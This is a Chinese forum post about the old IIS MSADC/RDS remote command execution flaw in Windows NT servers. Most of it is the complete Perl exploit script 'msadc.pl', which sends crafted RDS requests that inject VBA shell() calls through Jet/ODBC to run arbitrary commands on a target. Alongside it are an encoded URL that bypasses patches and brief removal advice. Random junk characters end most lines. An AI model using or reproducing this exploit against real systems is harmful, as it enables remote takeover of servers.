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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) (7?jjH^4  
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涉及程序: O`2hTY\  
Microsoft NT server #_4JTGJ  
2R`/Oox   
描述: @ >Ul0&Mf?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Z >F5rkJ  
IWP[?U=  
详细: =J827c{.  
如果你没有时间读详细内容的话,就删除: D",~?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 50Y^##]&  
有关的安全问题就没有了。 ?%wM8?  
p<AzpkU,A  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Vv~:^6il  
`ILO]+`5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 :yE7jXB  
关于利用ODBC远程漏洞的描述,请参看: }@NT#hD  
5d5q0bb  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;(~H(]D  
W6L}T,epX  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 #hP&;HZ2>"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp _%6Vcy  
d ~3G EK  
这里不再论述。 @DK;i_i  
0OPpALl  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: [XDr-5Dm  
# `b5kqQm  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset k5TPzm=y{  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! X7{ h/^  
X)k+BJ  
E|5lm  
#将下面这段保存为txt文件,然后: "perl -x 文件名" drEND`,@6|  
Yn1CU  
#!perl Fc.1)yh.  
# :}}~ $$&  
# MSADC/RDS 'usage' (aka exploit) script u<a =TPAU  
# sN9 SuQ  
# by rain.forest.puppy .qG*$W2f  
# )1 =|\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me # vBS7ba  
# beta test and find errors! .m \y6  
3FpSo+  
use Socket; use Getopt::Std; q+}Er*r  
getopts("e:vd:h:XR", \%args); BHEZ<K[U   
o7WK"E!pF'  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; k=r)kkO)  
Fmux#}Z  
if (!defined $args{h} && !defined $args{R}) { m-)yQM8  
print qq~ *w_f-YoXp  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Oa#m}b  
-h <host> = host you want to scan (ip or domain) Mg}8 3kS  
-d <seconds> = delay between calls, default 1 second ? bnhx  
-X = dump Index Server path table, if available 4> $weu^  
-v = verbose M}*#{UV2  
-e = external dictionary file for step 5 K_t! P  
U2)y fhI  
Or a -R will resume a command session `1qM Sq  
-|&5aH]  
~; exit;} ~lB:xVzn  
R6/vhze4L2  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; of>"qrdZ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} RmcQGQ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} K^fH:pV  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); -+w^"RBV  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} XVNJ3/  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } DV">9{"5']  
a54qv^IS  
if (!defined $args{R}){ $ret = &has_msadc; PDH00(#;+  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 6m!%X GZ T  
N0 F|r8xS  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !JE=QG"  
. "cmd /c "; qD?-&>dBWi  
$in=<STDIN>; chomp $in; =Zc Vywz;+  
$command="cmd /c " . $in ; QwL'5ws{q  
sU }.2k  
if (defined $args{R}) {&load; exit;} =(U&?1R4  
c<J/I_!  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; WG?;Z  
&try_btcustmr; r7=r~3)  
?Pw(  
print "\nStep 2: Trying to make our own DSN..."; !;ipLC;e}  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; "8|a4Y+F  
P-~kxb9aa  
print "\nStep 3: Trying known DSNs..."; Lm}J& ^>  
&known_dsn; eFiUB  
8>y!=+9_  
print "\nStep 4: Trying known .mdbs..."; ?E88y  
&known_mdb; _6 ,Tb]  
9X6l`bo'  
if (defined $args{e}){ Jf|6 FQo&  
print "\nStep 5: Trying dictionary of DSN names..."; dDoKmuY>5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } #Z.2g].  
lqe71](sK8  
print "Sorry Charley...maybe next time?\n"; ddiBjp2.!  
exit; 07:N)y,  
aur4Ky> :  
############################################################################## IU*w 'a  
~0ku,P#D  
sub sendraw { # ripped and modded from whisker ;`P}\Q{  
sleep($delay); # it's a DoS on the server! At least on mine... d:V6.7>,  
my ($pstr)=@_; v1Wz#oP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1 6N+  
die("Socket problems\n"); WMw]W&  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4`Z8EV  
select(S); $|=1; |-SImxV  
print $pstr; my @in=<S>; -Bl !s^-'  
select(STDOUT); close(S); *U69rbYI  
return @in; vQiKpO*  
} else { die("Can't connect...\n"); }} = g[Cs*  
bEz1@"~ p  
############################################################################## %]15=7#'y  
5/>W(,5}  
sub make_header { # make the HTTP request !=w&=O0(  
my $msadc=<<EOT *tD`X( K  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (T]<  
User-Agent: ACTIVEDATA LAT%k2%Wx  
Host: $ip 3?rYt:Uf!  
Content-Length: $clen 8w|-7$ v  
Connection: Keep-Alive 8^FAeV#  
F3L'f2yBG  
ADCClientVersion:01.06 #& 5}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 M((]> *g  
}#h>*+Q  
--!ADM!ROX!YOUR!WORLD! h *JzJ0X  
Content-Type: application/x-varg />,Tq!i\4}  
Content-Length: $reqlen SpB\kC"K  
'8|y^\  
EOT [`eqma  
; $msadc=~s/\n/\r\n/g; FNyr0!t,  
return $msadc;} 6mH --!j  
+"Ui @^  
############################################################################## <7;AK!BH  
!PIpvx{aX  
sub make_req { # make the RDS request )GpH5N'EI  
my ($switch, $p1, $p2)=@_; lwU$*?yv  
my $req=""; my $t1, $t2, $query, $dsn; xc HG5bg |  
ojA i2uz  
if ($switch==1){ # this is the btcustmr.mdb query 10 D6fkjf  
$query="Select * from Customers where City=" . make_shell(); GvCB3z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 8 FqhSzw  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 1sT%g}w@|  
foOwJ}JU  
elsif ($switch==2){ # this is general make table query x/pM.NZF1  
$query="create table AZZ (B int, C varchar(10))"; }bg_?o;X}  
$dsn="$p1";} #cRw0bn:  
7oK7f=*Q  
elsif ($switch==3){ # this is general exploit table query :+m8~n$/  
$query="select * from AZZ where C=" . make_shell(); w>q:&Q  
$dsn="$p1";} GkT:7`|C  
.1&~@e%=-  
elsif ($switch==4){ # attempt to hork file info from index server }zkMo ?  
$query="select path from scope()"; *yx&4)Or  
$dsn="Provider=MSIDXS;";} HZH zjrx  
n4YedjHSN  
elsif ($switch==5){ # bad query y[W<vb+F  
$query="select"; \ M_}V[1+  
$dsn="$p1";} F;Lg w^1!  
4KkjBPV  
$t1= make_unicode($query); H*Tc.Ie  
$t2= make_unicode($dsn); [9:'v@Ph  
$req = "\x02\x00\x03\x00"; JF vVRGWB  
$req.= "\x08\x00" . pack ("S1", length($t1)); RKY~[IQ,  
$req.= "\x00\x00" . $t1 ; 9EE},D  
$req.= "\x08\x00" . pack ("S1", length($t2)); P9\!JH!  
$req.= "\x00\x00" . $t2 ; .K n)sD1  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; U60jkzIRH  
return $req;} 9b/7~w.  
s L9,+  
############################################################################## !2R<T/9~  
,1s,G]%M  
sub make_shell { # this makes the shell() statement Gxtb@`f  
return "'|shell(\"$command\")|'";} I4%p?'i,C  
bvuoo/  
############################################################################## a*pwVn  
,EAf/2C  
sub make_unicode { # quick little function to convert to unicode KVvzVQ1  
my ($in)=@_; my $out; =` b/ip5  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }  !IZbMn6  
return $out;} z g@,s"`>  
I-fjqo3  
############################################################################## T\G2B*fGd  
|b@H]c;"  
sub rdo_success { # checks for RDO return success (this is kludge) ~4YLPMGKl  
my (@in) = @_; my $base=content_start(@in); #q06K2  
if($in[$base]=~/multipart\/mixed/){ <h$Nh0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} tj:Q]]\M  
return 0;} =*icCng  
PFqc_!Pm  
############################################################################## 3H_mR j9th  
,+u.FQv~  
sub make_dsn { # this makes a DSN for us Y1?"Ut  
my @drives=("c","d","e","f"); /-#1ys#F=  
print "\nMaking DSN: "; =aWj+ggd@  
foreach $drive (@drives) { GJUorj&  
print "$drive: "; !s>AVV$;0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . e~#"#?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" pT90TcI2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); xm)s%"6n  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 1N `1~y  
return 0 if $2 eq "404"; # not found/doesn't exist +@'{  
if($2 eq "200") { 2\$P&L a  
foreach $line (@results) { |M*jo<C  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ,ZpcvK/S  
} return 0;} RG'Ft]l92N  
yzvNv]Z'*  
############################################################################## fQ\nK H~  
fkprTk^#  
sub verify_exists { p)t1] <,Of  
my ($page)=@_; D# $Fj  
my @results=sendraw("GET $page HTTP/1.0\n\n"); BZ]6W/0  
return $results[0];} !besMZ  
UBmD 3|Zo  
############################################################################## re\@v8w~  
jm-J_o;}z6  
sub try_btcustmr { QF  P3S(  
my @drives=("c","d","e","f"); c]#+W@$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `5[$8;  
@} nI$x.  
foreach $dir (@dirs) { B?Vr9H7n  
print "$dir -> "; # fun status so you can see progress x>>#<hOz[  
foreach $drive (@drives) { B!`Dj,_  
print "$drive: "; # ditto P87!+pB(  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; h>'9-j6B  
$reqlenlen=length( "$reqlen" ); |WopsV %  
$clen= 206 + $reqlenlen + $reqlen; DcNQ2Zz?%  
%idn7STJ}  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 1]yOC)u"i  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} j>2Jw'l;?  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @}#"o  
Ywj=6 +;  
############################################################################## CDDx %#eG>  
4"OUmh9LHB  
sub odbc_error { Yy 4EM  
my (@in)=@_; my $base; 4G:I VK9  
my $base = content_start(@in); ~?V+^<P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ?_\t7f  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^2gDhoO_  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +`EF0sux  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  T4}SF  
return $in[$base+4].$in[$base+5].$in[$base+6];} xW$F-n  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]=s!cfu  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . o/EN3J  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} GM.2bA(y  
M18H1e@Al  
############################################################################## "(@W^qF}d  
ZS&n,<a5L}  
sub verbose { U($sH9,  
my ($in)=@_; hK!Z ~  
return if !$verbose; :$bp4+3>  
print STDOUT "\n$in\n";} ;j#$d@VG"  
f8ap+][  
############################################################################## ?'xTSAn  
"6T: &>  
sub save { {U$qxC]M  
my ($p1, $p2, $p3, $p4)=@_; v&6=(k{E@R  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; -mSiZ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; l!n<.tQW  
close OUT;} ]gN]Cw\L  
Z_ Gb9  
############################################################################## /UJ@e  
}uI(D&?+h  
sub load { _3q%  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; S(7_\8 h  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); G2FP|mf,  
@p=<IN>; close(IN); -Jo8jE~>V  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); J 4$^Hr  
$target= inet_aton($ip) || die("inet_aton problems"); !J34yro+s  
print "Resuming to $ip ..."; cJEO wAN  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; TBfX1v|Z)  
if($p[1]==1) { OSQt:58K  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 5K1WfdBX7)  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X(D$eV  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); !i0jk,[B=  
if (rdo_success(@results)){print "Success!\n";} /Q7cQ2[EU  
else { print "failed\n"; verbose(odbc_error(@results));}} :!omog  
elsif ($p[1]==3){ ,/.U'{  
if(run_query("$p[3]")){ jTNfGu0x  
print "Success!\n";} else { print "failed\n"; }} GCxtWFXH  
elsif ($p[1]==4){ o<`)cb }  
if(run_query($drvst . "$p[3]")){ Vb|;@*=R&Q  
print "Success!\n"; } else { print "failed\n"; }} | v? pS  
exit;} 9/lCW  
QjW7XVxB#N  
############################################################################## RU>Hr5ebo  
G)(\!0pNZ  
sub create_table { 4<S*gu*W  
my ($in)=@_; zj!&12w%3  
$reqlen=length( make_req(2,$in,"") ) - 28; $#4J^(I*:  
$reqlenlen=length( "$reqlen" ); Cdjh/+!f  
$clen= 206 + $reqlenlen + $reqlen; fvajNP  
my @results=sendraw(make_header() . make_req(2,$in,"")); u$%>/cv  
return 1 if rdo_success(@results); ,`7;S,f  
my $temp= odbc_error(@results); verbose($temp); cD-.thHO  
return 1 if $temp=~/Table 'AZZ' already exists/; A>"v1Wk  
return 0;} njk.$]M|nf  
zE{@'  
############################################################################## ;T0Y= yC  
P# o/S4  
sub known_dsn { !Jo3>!,j  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go B;M{v5s~]  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1'5I]D ec  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ZeD""vJRY  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); )oOcV%  
@MfuV4*  
foreach $dSn (@dsns) { zcrLd={  
print "."; Bp3%*va  
next if (!is_access("DSN=$dSn")); !XjvvX"j  
if(create_table("DSN=$dSn")){ X\SZ Q[gN  
print "$dSn successful\n"; !GkwbHr+p  
if(run_query("DSN=$dSn")){ xCH,d:n=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { L[zg2y  
print "Something's borked. Use verbose next time\n";}}} print "\n";} iSTr;>A  
QK0  
############################################################################## &tFVW[(  
*|n::9  
sub is_access { { 7y.0_Y  
my ($in)=@_; P5;LM9W  
$reqlen=length( make_req(5,$in,"") ) - 28; t<O5_}R%d  
$reqlenlen=length( "$reqlen" ); w=I' CMRt  
$clen= 206 + $reqlenlen + $reqlen; ;!4Bw"Gg  
my @results=sendraw(make_header() . make_req(5,$in,"")); a a<9%j  
my $temp= odbc_error(@results); ~Mv@Bl  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6KiI3%y?0  
return 0;} T`g.K6$b  
fI%+  
############################################################################## L&1VPli  
-Iz&/u*}f  
sub run_query { EAQg4N:D7L  
my ($in)=@_; nG;wQvc  
$reqlen=length( make_req(3,$in,"") ) - 28; LOyL:~$  
$reqlenlen=length( "$reqlen" ); xq:.|{HUk  
$clen= 206 + $reqlenlen + $reqlen; <dx xXzLT  
my @results=sendraw(make_header() . make_req(3,$in,"")); _//)|.6c3  
return 1 if rdo_success(@results); bWv4'Y!p  
my $temp= odbc_error(@results); verbose($temp); -If-c'"G  
return 0;} `fEB,0j^  
&x{CC@g/  
############################################################################## nu,#y"WQ  
qO=_i d  
sub known_mdb { #n^P[Zw  
my @drives=("c","d","e","f","g"); JGPLVw  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :ho)3kB  
my $dir, $drive, $mdb; @sly-2{e1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; D'aq^T'  
~LPxVYhK  
# this is sparse, because I don't know of many ~ \tI9L?|A  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -;_`>OU{  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ` bd  
"\\system32\\certmdb.mdb", <8 MKjf  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `r+"2.z*  
27*u^N*z@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", jw$3cwddH  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 4C^;lK  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", P"0S94o:5J  
"\\cfusion\\cfapps\\security\\realm_.mdb", V,bfD3S3  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", THirh6  
"\\cfusion\\database\\cfexamples.mdb", b:.aZ7+4  
"\\cfusion\\database\\cfsnippets.mdb", &eV& +j  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", HlqvXt\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", SU OuayE  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &Zl$7  
"\\cfusion\\database\\smpolicy.mdb", $:"r$7  
"\\cfusion\\database\cypress.mdb", SU;PmG4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", v_f8zk  
"\\website\\cgi-win\\dbsample.mdb", ~lMw*Qw^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "bAkS}(hB(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" FjIS:9^)t5  
); #these are just gK/mm\K@  
foreach $drive (@drives) { D<$~bUkxR  
foreach $dir (@dirs){ 7QP%Pny%  
foreach $mdb (@sysmdbs) { x[7jm"Pz  
print "."; 8DbXv~3@  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ @s J[<V  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Pw/Z;N;:V  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ +MPM^m  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ed9ynJ~)X  
} else { print "Something's borked. Use verbose next time\n"; }}}}} N2uxiXpQZ=  
knX0b$$  
foreach $drive (@drives) { 6> v`6  
foreach $mdb (@mdbs) { Vu '/o[nF>  
print "."; pv&:N,p  
if(create_table($drv . $drive . $dir . $mdb)){ 3o%,8l,  
print "\n" . $drive . $dir . $mdb . " successful\n"; 1g6AzUXg  
if(run_query($drv . $drive . $dir . $mdb)){ 9;s:Bo  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; v5l)T}Nb  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^'i(@{{o\  
} `;b@a<Wl  
!)RND 6.  
############################################################################## 2yR*<yj  
\]}|m<R  
sub hork_idx { ep .AW'+  
print "\nAttempting to dump Index Server tables...\n"; <b>@'\w9  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *@=in7*c  
$reqlen=length( make_req(4,"","") ) - 28; tWQ_.,ld  
$reqlenlen=length( "$reqlen" ); ;>_\oZGj_  
$clen= 206 + $reqlenlen + $reqlen;  5<bc>A-  
my @results=sendraw2(make_header() . make_req(4,"","")); AEx I!  
if (rdo_success(@results)){ S?nk9 T+  
my $max=@results; my $c; my %d; }\}pSqW  
for($c=19; $c<$max; $c++){ |n=m{JX\m  
$results[$c]=~s/\x00//g; ![3#([>4>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; xRYL{+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; t9S zZ2E  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; <y=VDb/  
$d{"$1$2"}="";} `,d*>  
foreach $c (keys %d){ print "$c\n"; } X=_pQ+j`^  
} else {print "Index server doesn't seem to be installed.\n"; }} wEENN_w  
gO%#'Eb2  
############################################################################## ,ii*[{X?  
0F-X.Dq  
sub dsn_dict { 1C\OL!@L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); D_ xPa  
while(<IN>){ !TY9\8JzV  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; \UM9cAX`  
next if (!is_access("DSN=$dSn")); ^]w!ow41  
if(create_table("DSN=$dSn")){ y:(OZ%g  
print "$dSn successful\n"; ;vvO#3DWM  
if(run_query("DSN=$dSn")){ 5=tvB,Ux4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3TqC.S5+  
print "Something's borked. Use verbose next time\n";}}} F,Q\_H##x4  
print "\n"; close(IN);} Vrn. #d  
qPZ'n=+  
############################################################################## v.:aICB5  
N&7= hni  
sub sendraw2 { # ripped and modded from whisker bqp6cg\p  
sleep($delay); # it's a DoS on the server! At least on mine... 4s nL((  
my ($pstr)=@_; =LV7K8FSd  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tAFKq>\  
die("Socket problems\n"); ^%|,G:r  
if(connect(S,pack "SnA4x8",2,80,$target)){ T%~w~stW  
print "Connected. Getting data"; P'f =r%  
open(OUT,">raw.out"); my @in; m7wD#?lm  
select(S); $|=1; print $pstr; exw~SvT3  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ,gGIkl&  
close(OUT); select(STDOUT); close(S); return @in; ~Q"3#4l  
} else { die("Can't connect...\n"); }} ^T@ (`H4@  
yQE|FbiA  
############################################################################## eznt "Rr2  
O*{<{3  
sub content_start { # this will take in the server headers Pe6}y  
my (@in)=@_; my $c; \7PPFKS  
for ($c=1;$c<500;$c++) { Q\Dx/?g!vx  
if($in[$c] =~/^\x0d\x0a/){ r!SMF ]?SJ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ^Gt&c_gH  
else { return $c+1; }}} u~n*P``{  
return -1;} # it should never get here actually P' .MwS  
.zQ:u{FT  
############################################################################## M#X8Rs1`  
a0I+|fR  
sub funky { zWKnkIit,  
my (@in)=@_; my $error=odbc_error(@in); 1BT]_ cP  
if($error=~/ADO could not find the specified provider/){ *I6z;.#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; |57u;  
exit;} 1Q\P] -  
if($error=~/A Handler is required/){ }U3+xl6g  
print "\nServer has custom handler filters (they most likely are patched)\n"; {T4F0fu[eR  
exit;} O 4zD >O  
if($error=~/specified Handler has denied Access/){ zaWy7@?  
print "\nServer has custom handler filters (they most likely are patched)\n"; BrF/-F  
exit;}} nMXk1`|/)x  
A>WMPe:sSS  
############################################################################## it]im  
YoyJnl.?u  
sub has_msadc { m;-FP 2~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); h}-}!v  
my $base=content_start(@results); `G*7y7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); zQ3m@x  
return 0;} +GCN63 nX  
;6S,|rC ]  
######################## XN9s!5A<L)  
Y~\71QE>  
su;u_rc,  
解决方案: & $E[l'  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll m,}0p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 sF9{(Us  
W0e+yIaR  
拿出来充数 哈哈
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